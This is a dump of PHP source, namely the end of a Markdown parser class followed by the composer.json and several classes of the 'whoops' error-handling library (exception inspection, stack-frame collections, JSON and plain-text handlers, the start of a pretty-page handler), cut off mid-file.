"\n".$this->text($elementText)."\n";
}
else
{
foreach ($DOMDocument->documentElement->childNodes as
$Node)
{
$nodeMarkup = $DOMDocument->saveHTML($Node);
if ($Node instanceof DOMElement and !
in_array($Node->nodeName, $this->textLevelElements))
{
$elementText .= $this->processTag($nodeMarkup);
}
else
{
$elementText .= $nodeMarkup;
}
}
}
# because we don't want for markup to get encoded
$DOMDocument->documentElement->nodeValue =
'placeholder\x1A';
$markup =
$DOMDocument->saveHTML($DOMDocument->documentElement);
$markup = str_replace('placeholder\x1A', $elementText,
$markup);
return $markup;
}
# ~
protected function sortFootnotes($A, $B) # callback
{
return $A['number'] - $B['number'];
}
#
# Fields
#
protected $regexAttribute = '(?:[#.][-\w]+[ ]*)';
}
{
"name": "filp/whoops",
"license": "MIT",
"description": "php error handling for cool kids",
"keywords": ["library", "error",
"handling", "exception", "whoops",
"throwable"],
"homepage": "https://filp.github.io/whoops/",
"authors": [
{
"name": "Filipe Dobreira",
"homepage": "https://github.com/filp",
"role": "Developer"
}
],
"require": {
"php": "^5.5.9 || ^7.0",
"psr/log": "^1.0.1"
},
"require-dev": {
"phpunit/phpunit": "^4.8.35 || ^5.7",
"mockery/mockery": "^0.9 || ^1.0",
"symfony/var-dumper": "^2.6 || ^3.0 || ^4.0"
},
"suggest": {
"symfony/var-dumper": "Pretty print complex values
better with var-dumper available",
"whoops/soap": "Formats errors as SOAP
responses"
},
"autoload": {
"psr-4": {
"Whoops\\": "src/Whoops/"
}
},
"autoload-dev": {
"psr-4": {
"Whoops\\": "tests/Whoops/"
}
},
"extra": {
"branch-alias": {
"dev-master": "2.2-dev"
}
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Exception;
use ErrorException as BaseErrorException;
/**
* Wraps ErrorException; mostly used for typing (at least now)
* to easily cleanup the stack trace of redundant info.
*/
class ErrorException extends BaseErrorException
{
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Exception;
class Formatter
{
/**
* Returns all basic information about the exception in a simple array
* for further convertion to other languages
* @param Inspector $inspector
* @param bool $shouldAddTrace
* @return array
*/
public static function formatExceptionAsDataArray(Inspector $inspector,
$shouldAddTrace)
{
$exception = $inspector->getException();
$response = [
'type' => get_class($exception),
'message' => $exception->getMessage(),
'file' => $exception->getFile(),
'line' => $exception->getLine(),
];
if ($shouldAddTrace) {
$frames = $inspector->getFrames();
$frameData = [];
foreach ($frames as $frame) {
/** @var Frame $frame */
$frameData[] = [
'file' => $frame->getFile(),
'line' => $frame->getLine(),
'function' => $frame->getFunction(),
'class' => $frame->getClass(),
'args' => $frame->getArgs(),
];
}
$response['trace'] = $frameData;
}
return $response;
}
public static function formatExceptionPlain(Inspector $inspector)
{
$message = $inspector->getException()->getMessage();
$frames = $inspector->getFrames();
$plain = $inspector->getExceptionName();
$plain .= ' thrown with message "';
$plain .= $message;
$plain .= '"'."\n\n";
$plain .= "Stacktrace:\n";
foreach ($frames as $i => $frame) {
$plain .= "#". (count($frames) - $i - 1). "
";
$plain .= $frame->getClass() ?: '';
$plain .= $frame->getClass() &&
$frame->getFunction() ? ":" : "";
$plain .= $frame->getFunction() ?: '';
$plain .= ' in ';
$plain .= ($frame->getFile() ?:
'<#unknown>');
$plain .= ':';
$plain .= (int) $frame->getLine(). "\n";
}
return $plain;
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Exception;
use InvalidArgumentException;
use Serializable;
class Frame implements Serializable
{
/**
* @var array
*/
protected $frame;
/**
* @var string
*/
protected $fileContentsCache;
/**
* @var array[]
*/
protected $comments = [];
/**
* @var bool
*/
protected $application;
/**
* @param array[]
*/
public function __construct(array $frame)
{
$this->frame = $frame;
}
/**
* @param bool $shortened
* @return string|null
*/
public function getFile($shortened = false)
{
if (empty($this->frame['file'])) {
return null;
}
$file = $this->frame['file'];
// Check if this frame occurred within an eval().
// @todo: This can be made more reliable by checking if we've
entered
// eval() in a previous trace, but will need some more work on the
upper
// trace collector(s).
if (preg_match('/^(.*)\((\d+)\) : (?:eval\(\)\'d|assert)
code$/', $file, $matches)) {
$file = $this->frame['file'] = $matches[1];
$this->frame['line'] = (int) $matches[2];
}
if ($shortened && is_string($file)) {
// Replace the part of the path that all frames have in common,
and add 'soft hyphens' for smoother line-breaks.
$dirname =
dirname(dirname(dirname(dirname(dirname(dirname(__DIR__))))));
if ($dirname !== '/') {
$file = str_replace($dirname, "…",
$file);
}
$file = str_replace("/", "/­",
$file);
}
return $file;
}
/**
* @return int|null
*/
public function getLine()
{
return isset($this->frame['line']) ?
$this->frame['line'] : null;
}
/**
* @return string|null
*/
public function getClass()
{
return isset($this->frame['class']) ?
$this->frame['class'] : null;
}
/**
* @return string|null
*/
public function getFunction()
{
return isset($this->frame['function']) ?
$this->frame['function'] : null;
}
/**
* @return array
*/
public function getArgs()
{
return isset($this->frame['args']) ? (array)
$this->frame['args'] : [];
}
/**
* Returns the full contents of the file for this frame,
* if it's known.
* @return string|null
*/
public function getFileContents()
{
if ($this->fileContentsCache === null && $filePath =
$this->getFile()) {
// Leave the stage early when 'Unknown' or
'[internal]' is passed
// this would otherwise raise an exception when
// open_basedir is enabled.
if ($filePath === "Unknown" || $filePath ===
'[internal]') {
return null;
}
try {
$this->fileContentsCache = file_get_contents($filePath);
} catch (ErrorException $exception) {
// Internal file paths of PHP extensions cannot be opened
}
}
return $this->fileContentsCache;
}
/**
* Adds a comment to this frame, that can be received and
* used by other handlers. For example, the PrettyPage handler
* can attach these comments under the code for each frame.
*
* An interesting use for this would be, for example, code analysis
* & annotations.
*
* @param string $comment
* @param string $context Optional string identifying the origin of the
comment
*/
public function addComment($comment, $context = 'global')
{
$this->comments[] = [
'comment' => $comment,
'context' => $context,
];
}
/**
* Returns all comments for this frame. Optionally allows
* a filter to only retrieve comments from a specific
* context.
*
* @param string $filter
* @return array[]
*/
public function getComments($filter = null)
{
$comments = $this->comments;
if ($filter !== null) {
$comments = array_filter($comments, function ($c) use ($filter)
{
return $c['context'] == $filter;
});
}
return $comments;
}
/**
* Returns the array containing the raw frame data from which
* this Frame object was built
*
* @return array
*/
public function getRawFrame()
{
return $this->frame;
}
/**
* Returns the contents of the file for this frame as an
* array of lines, and optionally as a clamped range of lines.
*
* NOTE: lines are 0-indexed
*
* @example
* Get all lines for this file
* $frame->getFileLines(); // => array( 0 =>
'<?php', 1 => '...', ...)
* @example
* Get one line for this file, starting at line 10 (zero-indexed,
remember!)
* $frame->getFileLines(9, 1); // array( 10 =>
'...', 11 => '...')
*
* @throws InvalidArgumentException if $length is less than or equal to
0
* @param int $start
* @param int $length
* @return string[]|null
*/
public function getFileLines($start = 0, $length = null)
{
if (null !== ($contents = $this->getFileContents())) {
$lines = explode("\n", $contents);
// Get a subset of lines from $start to $end
if ($length !== null) {
$start = (int) $start;
$length = (int) $length;
if ($start < 0) {
$start = 0;
}
if ($length <= 0) {
throw new InvalidArgumentException(
"\$length($length) cannot be lower or equal to
0"
);
}
$lines = array_slice($lines, $start, $length, true);
}
return $lines;
}
}
/**
* Implements the Serializable interface, with special
* steps to also save the existing comments.
*
* @see Serializable::serialize
* @return string
*/
public function serialize()
{
$frame = $this->frame;
if (!empty($this->comments)) {
$frame['_comments'] = $this->comments;
}
return serialize($frame);
}
/**
* Unserializes the frame data, while also preserving
* any existing comment data.
*
* @see Serializable::unserialize
* @param string $serializedFrame
*/
public function unserialize($serializedFrame)
{
$frame = unserialize($serializedFrame);
if (!empty($frame['_comments'])) {
$this->comments = $frame['_comments'];
unset($frame['_comments']);
}
$this->frame = $frame;
}
/**
* Compares Frame against one another
* @param Frame $frame
* @return bool
*/
public function equals(Frame $frame)
{
if (!$this->getFile() || $this->getFile() ===
'Unknown' || !$this->getLine()) {
return false;
}
return $frame->getFile() === $this->getFile() &&
$frame->getLine() === $this->getLine();
}
/**
* Returns whether this frame belongs to the application or not.
*
* @return boolean
*/
public function isApplication()
{
return $this->application;
}
/**
* Mark as an frame belonging to the application.
*
* @param boolean $application
*/
public function setApplication($application)
{
$this->application = $application;
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Exception;
use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use Serializable;
use UnexpectedValueException;
/**
* Exposes a fluent interface for dealing with an ordered list
* of stack-trace frames.
*/
class FrameCollection implements ArrayAccess, IteratorAggregate,
Serializable, Countable
{
/**
* @var array[]
*/
private $frames;
/**
* @param array $frames
*/
public function __construct(array $frames)
{
$this->frames = array_map(function ($frame) {
return new Frame($frame);
}, $frames);
}
/**
* Filters frames using a callable, returns the same FrameCollection
*
* @param callable $callable
* @return FrameCollection
*/
public function filter($callable)
{
$this->frames = array_values(array_filter($this->frames,
$callable));
return $this;
}
/**
* Map the collection of frames
*
* @param callable $callable
* @return FrameCollection
*/
public function map($callable)
{
// Contain the map within a higher-order callable
// that enforces type-correctness for the $callable
$this->frames = array_map(function ($frame) use ($callable) {
$frame = call_user_func($callable, $frame);
if (!$frame instanceof Frame) {
throw new UnexpectedValueException(
"Callable to " . __CLASS__ . "::map must
return a Frame object"
);
}
return $frame;
}, $this->frames);
return $this;
}
/**
* Returns an array with all frames, does not affect
* the internal array.
*
* @todo If this gets any more complex than this,
* have getIterator use this method.
* @see FrameCollection::getIterator
* @return array
*/
public function getArray()
{
return $this->frames;
}
/**
* @see IteratorAggregate::getIterator
* @return ArrayIterator
*/
public function getIterator()
{
return new ArrayIterator($this->frames);
}
/**
* @see ArrayAccess::offsetExists
* @param int $offset
*/
public function offsetExists($offset)
{
return isset($this->frames[$offset]);
}
/**
* @see ArrayAccess::offsetGet
* @param int $offset
*/
public function offsetGet($offset)
{
return $this->frames[$offset];
}
/**
* @see ArrayAccess::offsetSet
* @param int $offset
*/
public function offsetSet($offset, $value)
{
throw new \Exception(__CLASS__ . ' is read only');
}
/**
* @see ArrayAccess::offsetUnset
* @param int $offset
*/
public function offsetUnset($offset)
{
throw new \Exception(__CLASS__ . ' is read only');
}
/**
* @see Countable::count
* @return int
*/
public function count()
{
return count($this->frames);
}
/**
* Count the frames that belongs to the application.
*
* @return int
*/
public function countIsApplication()
{
return count(array_filter($this->frames, function (Frame $f) {
return $f->isApplication();
}));
}
/**
* @see Serializable::serialize
* @return string
*/
public function serialize()
{
return serialize($this->frames);
}
/**
* @see Serializable::unserialize
* @param string $serializedFrames
*/
public function unserialize($serializedFrames)
{
$this->frames = unserialize($serializedFrames);
}
/**
* @param Frame[] $frames Array of Frame instances, usually from
$e->getPrevious()
*/
public function prependFrames(array $frames)
{
$this->frames = array_merge($frames, $this->frames);
}
/**
* Gets the innermost part of stack trace that is not the same as that
of outer exception
*
* @param FrameCollection $parentFrames Outer exception frames to
compare tail against
* @return Frame[]
*/
public function topDiff(FrameCollection $parentFrames)
{
$diff = $this->frames;
$parentFrames = $parentFrames->getArray();
$p = count($parentFrames)-1;
for ($i = count($diff)-1; $i >= 0 && $p >= 0; $i--) {
/** @var Frame $tailFrame */
$tailFrame = $diff[$i];
if ($tailFrame->equals($parentFrames[$p])) {
unset($diff[$i]);
}
$p--;
}
return $diff;
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Exception;
use Whoops\Util\Misc;
class Inspector
{
/**
* @var \Throwable
*/
private $exception;
/**
* @var \Whoops\Exception\FrameCollection
*/
private $frames;
/**
* @var \Whoops\Exception\Inspector
*/
private $previousExceptionInspector;
/**
* @var \Throwable[]
*/
private $previousExceptions;
/**
* @param \Throwable $exception The exception to inspect
*/
public function __construct($exception)
{
$this->exception = $exception;
}
/**
* @return \Throwable
*/
public function getException()
{
return $this->exception;
}
/**
* @return string
*/
public function getExceptionName()
{
return get_class($this->exception);
}
/**
* @return string
*/
public function getExceptionMessage()
{
return
$this->extractDocrefUrl($this->exception->getMessage())['message'];
}
/**
* @return string[]
*/
public function getPreviousExceptionMessages()
{
return array_map(function ($prev) {
/** @var \Throwable $prev */
return
$this->extractDocrefUrl($prev->getMessage())['message'];
}, $this->getPreviousExceptions());
}
/**
* @return int[]
*/
public function getPreviousExceptionCodes()
{
return array_map(function ($prev) {
/** @var \Throwable $prev */
return $prev->getCode();
}, $this->getPreviousExceptions());
}
/**
* Returns a url to the php-manual related to the underlying error -
when available.
*
* @return string|null
*/
public function getExceptionDocrefUrl()
{
return
$this->extractDocrefUrl($this->exception->getMessage())['url'];
}
private function extractDocrefUrl($message)
{
$docref = [
'message' => $message,
'url' => null,
];
// php embbeds urls to the manual into the Exception message with
the following ini-settings defined
//
http://php.net/manual/en/errorfunc.configuration.php#ini.docref-root
if (!ini_get('html_errors') ||
!ini_get('docref_root')) {
return $docref;
}
$pattern = "/\[<a
href='([^']+)'>(?:[^<]+)<\/a>\]/";
if (preg_match($pattern, $message, $matches)) {
// -> strip those automatically generated links from the
exception message
$docref['message'] = preg_replace($pattern,
'', $message, 1);
$docref['url'] = $matches[1];
}
return $docref;
}
/**
* Does the wrapped Exception has a previous Exception?
* @return bool
*/
public function hasPreviousException()
{
return $this->previousExceptionInspector ||
$this->exception->getPrevious();
}
/**
* Returns an Inspector for a previous Exception, if any.
* @todo Clean this up a bit, cache stuff a bit better.
* @return Inspector
*/
public function getPreviousExceptionInspector()
{
if ($this->previousExceptionInspector === null) {
$previousException = $this->exception->getPrevious();
if ($previousException) {
$this->previousExceptionInspector = new
Inspector($previousException);
}
}
return $this->previousExceptionInspector;
}
/**
* Returns an array of all previous exceptions for this
inspector's exception
* @return \Throwable[]
*/
public function getPreviousExceptions()
{
if ($this->previousExceptions === null) {
$this->previousExceptions = [];
$prev = $this->exception->getPrevious();
while ($prev !== null) {
$this->previousExceptions[] = $prev;
$prev = $prev->getPrevious();
}
}
return $this->previousExceptions;
}
/**
* Returns an iterator for the inspected exception's
* frames.
* @return \Whoops\Exception\FrameCollection
*/
public function getFrames()
{
if ($this->frames === null) {
$frames = $this->getTrace($this->exception);
// Fill empty line/file info for call_user_func_array usages
(PHP Bug #44428)
foreach ($frames as $k => $frame) {
if (empty($frame['file'])) {
// Default values when file and line are missing
$file = '[internal]';
$line = 0;
$next_frame = !empty($frames[$k + 1]) ? $frames[$k + 1]
: [];
if ($this->isValidNextFrame($next_frame)) {
$file = $next_frame['file'];
$line = $next_frame['line'];
}
$frames[$k]['file'] = $file;
$frames[$k]['line'] = $line;
}
}
// Find latest non-error handling frame index ($i) used to
remove error handling frames
$i = 0;
foreach ($frames as $k => $frame) {
if ($frame['file'] ==
$this->exception->getFile() && $frame['line'] ==
$this->exception->getLine()) {
$i = $k;
}
}
// Remove error handling frames
if ($i > 0) {
array_splice($frames, 0, $i);
}
$firstFrame =
$this->getFrameFromException($this->exception);
array_unshift($frames, $firstFrame);
$this->frames = new FrameCollection($frames);
if ($previousInspector =
$this->getPreviousExceptionInspector()) {
// Keep outer frame on top of the inner one
$outerFrames = $this->frames;
$newFrames = clone $previousInspector->getFrames();
// I assume it will always be set, but let's be safe
if (isset($newFrames[0])) {
$newFrames[0]->addComment(
$previousInspector->getExceptionMessage(),
'Exception message:'
);
}
$newFrames->prependFrames($outerFrames->topDiff($newFrames));
$this->frames = $newFrames;
}
}
return $this->frames;
}
/**
* Gets the backtrace from an exception.
*
* If xdebug is installed
*
* @param \Throwable $e
* @return array
*/
protected function getTrace($e)
{
$traces = $e->getTrace();
// Get trace from xdebug if enabled, failure exceptions only trace
to the shutdown handler by default
if (!$e instanceof \ErrorException) {
return $traces;
}
if (!Misc::isLevelFatal($e->getSeverity())) {
return $traces;
}
if (!extension_loaded('xdebug') || !xdebug_is_enabled())
{
return $traces;
}
// Use xdebug to get the full stack trace and remove the shutdown
handler stack trace
$stack = array_reverse(xdebug_get_function_stack());
$trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
$traces = array_diff_key($stack, $trace);
return $traces;
}
/**
* Given an exception, generates an array in the format
* generated by Exception::getTrace()
* @param \Throwable $exception
* @return array
*/
protected function getFrameFromException($exception)
{
return [
'file' => $exception->getFile(),
'line' => $exception->getLine(),
'class' => get_class($exception),
'args' => [
$exception->getMessage(),
],
];
}
/**
* Given an error, generates an array in the format
* generated by ErrorException
* @param ErrorException $exception
* @return array
*/
protected function getFrameFromError(ErrorException $exception)
{
return [
'file' => $exception->getFile(),
'line' => $exception->getLine(),
'class' => null,
'args' => [],
];
}
/**
* Determine if the frame can be used to fill in previous frame's
missing info
* happens for call_user_func and call_user_func_array usages (PHP Bug
#44428)
*
* @param array $frame
* @return bool
*/
protected function isValidNextFrame(array $frame)
{
if (empty($frame['file'])) {
return false;
}
if (empty($frame['line'])) {
return false;
}
if (empty($frame['function']) ||
!stristr($frame['function'], 'call_user_func')) {
return false;
}
return true;
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Handler;
use InvalidArgumentException;
/**
* Wrapper for Closures passed as handlers. Can be used
* directly, or will be instantiated automagically by Whoops\Run
* if passed to Run::pushHandler
*/
class CallbackHandler extends Handler
{
/**
* @var callable
*/
protected $callable;
/**
* @throws InvalidArgumentException If argument is not callable
* @param callable $callable
*/
public function __construct($callable)
{
if (!is_callable($callable)) {
throw new InvalidArgumentException(
'Argument to ' . __METHOD__ . ' must be
valid callable'
);
}
$this->callable = $callable;
}
/**
* @return int|null
*/
public function handle()
{
$exception = $this->getException();
$inspector = $this->getInspector();
$run = $this->getRun();
$callable = $this->callable;
// invoke the callable directly, to get simpler stacktraces (in
comparison to call_user_func).
// this assumes that $callable is a properly typed php-callable,
which we check in __construct().
return $callable($exception, $inspector, $run);
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Handler;
use Whoops\Exception\Inspector;
use Whoops\RunInterface;
/**
* Abstract implementation of a Handler.
*/
abstract class Handler implements HandlerInterface
{
/*
Return constants that can be returned from Handler::handle
to message the handler walker.
*/
const DONE = 0x10; // returning this is optional, only exists
for
// semantic purposes
/**
* The Handler has handled the Throwable in some way, and wishes to
skip any other Handler.
* Execution will continue.
*/
const LAST_HANDLER = 0x20;
/**
* The Handler has handled the Throwable in some way, and wishes to
quit/stop execution
*/
const QUIT = 0x30;
/**
* @var RunInterface
*/
private $run;
/**
* @var Inspector $inspector
*/
private $inspector;
/**
* @var \Throwable $exception
*/
private $exception;
/**
* @param RunInterface $run
*/
public function setRun(RunInterface $run)
{
$this->run = $run;
}
/**
* @return RunInterface
*/
protected function getRun()
{
return $this->run;
}
/**
* @param Inspector $inspector
*/
public function setInspector(Inspector $inspector)
{
$this->inspector = $inspector;
}
/**
* @return Inspector
*/
protected function getInspector()
{
return $this->inspector;
}
/**
* @param \Throwable $exception
*/
public function setException($exception)
{
$this->exception = $exception;
}
/**
* @return \Throwable
*/
protected function getException()
{
return $this->exception;
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Handler;
use Whoops\Exception\Inspector;
use Whoops\RunInterface;
interface HandlerInterface
{
/**
* @return int|null A handler may return nothing, or a
Handler::HANDLE_* constant
*/
public function handle();
/**
* @param RunInterface $run
* @return void
*/
public function setRun(RunInterface $run);
/**
* @param \Throwable $exception
* @return void
*/
public function setException($exception);
/**
* @param Inspector $inspector
* @return void
*/
public function setInspector(Inspector $inspector);
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Handler;
use Whoops\Exception\Formatter;
/**
* Catches an exception and converts it to a JSON
* response. Additionally can also return exception
* frames for consumption by an API.
*/
class JsonResponseHandler extends Handler
{
/**
* @var bool
*/
private $returnFrames = false;
/**
* @var bool
*/
private $jsonApi = false;
/**
* Returns errors[[]] instead of error[] to be in compliance with the
json:api spec
* @param bool $jsonApi Default is false
* @return $this
*/
public function setJsonApi($jsonApi = false)
{
$this->jsonApi = (bool) $jsonApi;
return $this;
}
/**
* @param bool|null $returnFrames
* @return bool|$this
*/
public function addTraceToOutput($returnFrames = null)
{
if (func_num_args() == 0) {
return $this->returnFrames;
}
$this->returnFrames = (bool) $returnFrames;
return $this;
}
/**
* @return int
*/
public function handle()
{
if ($this->jsonApi === true) {
$response = [
'errors' => [
Formatter::formatExceptionAsDataArray(
$this->getInspector(),
$this->addTraceToOutput()
),
]
];
} else {
$response = [
'error' =>
Formatter::formatExceptionAsDataArray(
$this->getInspector(),
$this->addTraceToOutput()
),
];
}
echo json_encode($response,
defined('JSON_PARTIAL_OUTPUT_ON_ERROR') ?
JSON_PARTIAL_OUTPUT_ON_ERROR : 0);
return Handler::QUIT;
}
/**
* @return string
*/
public function contentType()
{
return 'application/json';
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
* Plaintext handler for command line and logs.
* @author Pierre-Yves Landuré <https://howto.biapy.com/>
*/
namespace Whoops\Handler;
use InvalidArgumentException;
use Psr\Log\LoggerInterface;
use Whoops\Exception\Frame;
/**
* Handler outputing plaintext error messages. Can be used
* directly, or will be instantiated automagically by Whoops\Run
* if passed to Run::pushHandler
*/
class PlainTextHandler extends Handler
{
const VAR_DUMP_PREFIX = ' | ';
/**
* @var \Psr\Log\LoggerInterface
*/
protected $logger;
/**
* @var callable
*/
protected $dumper;
/**
* @var bool
*/
private $addTraceToOutput = true;
/**
* @var bool|integer
*/
private $addTraceFunctionArgsToOutput = false;
/**
* @var integer
*/
private $traceFunctionArgsOutputLimit = 1024;
/**
* @var bool
*/
private $addPreviousToOutput = true;
/**
* @var bool
*/
private $loggerOnly = false;
/**
* Constructor.
* @throws InvalidArgumentException If argument is not null or a
LoggerInterface
* @param \Psr\Log\LoggerInterface|null $logger
*/
public function __construct($logger = null)
{
$this->setLogger($logger);
}
/**
* Set the output logger interface.
* @throws InvalidArgumentException If argument is not null or a
LoggerInterface
* @param \Psr\Log\LoggerInterface|null $logger
*/
public function setLogger($logger = null)
{
if (! (is_null($logger)
|| $logger instanceof LoggerInterface)) {
throw new InvalidArgumentException(
'Argument to ' . __METHOD__ .
" must be a valid Logger Interface (aka. Monolog),
" .
get_class($logger) . ' given.'
);
}
$this->logger = $logger;
}
/**
* @return \Psr\Log\LoggerInterface|null
*/
public function getLogger()
{
return $this->logger;
}
/**
* Set var dumper callback function.
*
* @param callable $dumper
* @return void
*/
public function setDumper(callable $dumper)
{
$this->dumper = $dumper;
}
/**
* Add error trace to output.
* @param bool|null $addTraceToOutput
* @return bool|$this
*/
public function addTraceToOutput($addTraceToOutput = null)
{
if (func_num_args() == 0) {
return $this->addTraceToOutput;
}
$this->addTraceToOutput = (bool) $addTraceToOutput;
return $this;
}
/**
* Add previous exceptions to output.
* @param bool|null $addPreviousToOutput
* @return bool|$this
*/
public function addPreviousToOutput($addPreviousToOutput = null)
{
if (func_num_args() == 0) {
return $this->addPreviousToOutput;
}
$this->addPreviousToOutput = (bool) $addPreviousToOutput;
return $this;
}
/**
* Add error trace function arguments to output.
* Set to True for all frame args, or integer for the n first frame
args.
* @param bool|integer|null $addTraceFunctionArgsToOutput
* @return null|bool|integer
*/
public function
addTraceFunctionArgsToOutput($addTraceFunctionArgsToOutput = null)
{
if (func_num_args() == 0) {
return $this->addTraceFunctionArgsToOutput;
}
if (! is_integer($addTraceFunctionArgsToOutput)) {
$this->addTraceFunctionArgsToOutput = (bool)
$addTraceFunctionArgsToOutput;
} else {
$this->addTraceFunctionArgsToOutput =
$addTraceFunctionArgsToOutput;
}
}
/**
* Set the size limit in bytes of frame arguments var_dump output.
* If the limit is reached, the var_dump output is discarded.
* Prevent memory limit errors.
* @var integer
*/
public function
setTraceFunctionArgsOutputLimit($traceFunctionArgsOutputLimit)
{
$this->traceFunctionArgsOutputLimit = (integer)
$traceFunctionArgsOutputLimit;
}
/**
* Create plain text response and return it as a string
* @return string
*/
public function generateResponse()
{
$exception = $this->getException();
$message = $this->getExceptionOutput($exception);
if ($this->addPreviousToOutput) {
$previous = $exception->getPrevious();
while ($previous) {
$message .= "\n\nCaused by\n" .
$this->getExceptionOutput($previous);
$previous = $previous->getPrevious();
}
}
return $message . $this->getTraceOutput() . "\n";
}
/**
* Get the size limit in bytes of frame arguments var_dump output.
* If the limit is reached, the var_dump output is discarded.
* Prevent memory limit errors.
* @return integer
*/
public function getTraceFunctionArgsOutputLimit()
{
return $this->traceFunctionArgsOutputLimit;
}
/**
* Only output to logger.
* @param bool|null $loggerOnly
* @return null|bool
*/
public function loggerOnly($loggerOnly = null)
{
if (func_num_args() == 0) {
return $this->loggerOnly;
}
$this->loggerOnly = (bool) $loggerOnly;
}
/**
* Test if handler can output to stdout.
* @return bool
*/
private function canOutput()
{
return !$this->loggerOnly();
}
/**
* Get the frame args var_dump.
* @param \Whoops\Exception\Frame $frame [description]
* @param integer $line [description]
* @return string
*/
private function getFrameArgsOutput(Frame $frame, $line)
{
if ($this->addTraceFunctionArgsToOutput() === false
|| $this->addTraceFunctionArgsToOutput() < $line) {
return '';
}
// Dump the arguments:
ob_start();
$this->dump($frame->getArgs());
if (ob_get_length() >
$this->getTraceFunctionArgsOutputLimit()) {
// The argument var_dump is to big.
// Discarded to limit memory usage.
ob_clean();
return sprintf(
"\n%sArguments dump length greater than %d Bytes.
Discarded.",
self::VAR_DUMP_PREFIX,
$this->getTraceFunctionArgsOutputLimit()
);
}
return sprintf(
"\n%s",
preg_replace('/^/m', self::VAR_DUMP_PREFIX,
ob_get_clean())
);
}
/**
* Dump variable.
*
* @param mixed $var
* @return void
*/
protected function dump($var)
{
if ($this->dumper) {
call_user_func($this->dumper, $var);
} else {
var_dump($var);
}
}
/**
* Get the exception trace as plain text.
* @return string
*/
private function getTraceOutput()
{
if (! $this->addTraceToOutput()) {
return '';
}
$inspector = $this->getInspector();
$frames = $inspector->getFrames();
$response = "\nStack trace:";
$line = 1;
foreach ($frames as $frame) {
/** @var Frame $frame */
$class = $frame->getClass();
$template = "\n%3d. %s->%s() %s:%d%s";
if (! $class) {
// Remove method arrow (->) from output.
$template = "\n%3d. %s%s() %s:%d%s";
}
$response .= sprintf(
$template,
$line,
$class,
$frame->getFunction(),
$frame->getFile(),
$frame->getLine(),
$this->getFrameArgsOutput($frame, $line)
);
$line++;
}
return $response;
}
/**
* Get the exception as plain text.
* @param \Throwable $exception
* @return string
*/
private function getExceptionOutput($exception)
{
return sprintf(
"%s: %s in file %s on line %d",
get_class($exception),
$exception->getMessage(),
$exception->getFile(),
$exception->getLine()
);
}
/**
* @return int
*/
public function handle()
{
$response = $this->generateResponse();
if ($this->getLogger()) {
$this->getLogger()->error($response);
}
if (! $this->canOutput()) {
return Handler::DONE;
}
echo $response;
return Handler::QUIT;
}
/**
* @return string
*/
public function contentType()
{
return 'text/plain';
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Handler;
use InvalidArgumentException;
use RuntimeException;
use Symfony\Component\VarDumper\Cloner\AbstractCloner;
use Symfony\Component\VarDumper\Cloner\VarCloner;
use UnexpectedValueException;
use Whoops\Exception\Formatter;
use Whoops\Util\Misc;
use Whoops\Util\TemplateHelper;
class PrettyPageHandler extends Handler
{
const EDITOR_SUBLIME = "sublime";
const EDITOR_TEXTMATE = "textmate";
const EDITOR_EMACS = "emacs";
const EDITOR_MACVIM = "macvim";
const EDITOR_PHPSTORM = "phpstorm";
const EDITOR_IDEA = "idea";
const EDITOR_VSCODE = "vscode";
const EDITOR_ATOM = "atom";
const EDITOR_ESPRESSO = "espresso";
const EDITOR_XDEBUG = "xdebug";
/**
* Search paths to be scanned for resources, in the reverse
* order they're declared.
*
* @var array
*/
private $searchPaths = [];
/**
* Fast lookup cache for known resource locations.
*
* @var array
*/
private $resourceCache = [];
/**
* The name of the custom css file.
*
* @var string
*/
private $customCss = null;
/**
* @var array[]
*/
private $extraTables = [];
/**
* @var bool
*/
private $handleUnconditionally = false;
/**
* @var string
*/
private $pageTitle = "Whoops! There was an error.";
/**
* @var array[]
*/
private $applicationPaths;
/**
* @var array[]
*/
private $blacklist = [
'_GET' => [],
'_POST' => [],
'_FILES' => [],
'_COOKIE' => [],
'_SESSION' => [],
'_SERVER' => [],
'_ENV' => [],
];
/**
* A string identifier for a known IDE/text editor, or a closure
* that resolves a string that can be used to open a given file
* in an editor. If the string contains the special substrings
* %file or %line, they will be replaced with the correct data.
*
* @example
* "txmt://open?url=%file&line=%line"
* @var mixed $editor
*/
protected $editor;
/**
* A list of known editor strings
* @var array
*/
protected $editors = [
"sublime" =>
"subl://open?url=file://%file&line=%line",
"textmate" =>
"txmt://open?url=file://%file&line=%line",
"emacs" =>
"emacs://open?url=file://%file&line=%line",
"macvim" =>
"mvim://open/?url=file://%file&line=%line",
"phpstorm" =>
"phpstorm://open?file=%file&line=%line",
"idea" =>
"idea://open?file=%file&line=%line",
"vscode" => "vscode://file/%file:%line",
"atom" =>
"atom://core/open/file?filename=%file&line=%line",
"espresso" =>
"x-espresso://open?filepath=%file&lines=%line",
];
/**
* @var TemplateHelper
*/
private $templateHelper;
/**
* Constructor.
*/
public function __construct()
{
if (ini_get('xdebug.file_link_format') ||
extension_loaded('xdebug')) {
// Register editor using xdebug's file_link_format option.
$this->editors['xdebug'] = function ($file, $line)
{
return str_replace(['%f', '%l'],
[$file, $line], ini_get('xdebug.file_link_format'));
};
// If xdebug is available, use it as default editor.
$this->setEditor('xdebug');
}
// Add the default, local resource search path:
$this->searchPaths[] = __DIR__ . "/../Resources";
// blacklist php provided auth based values
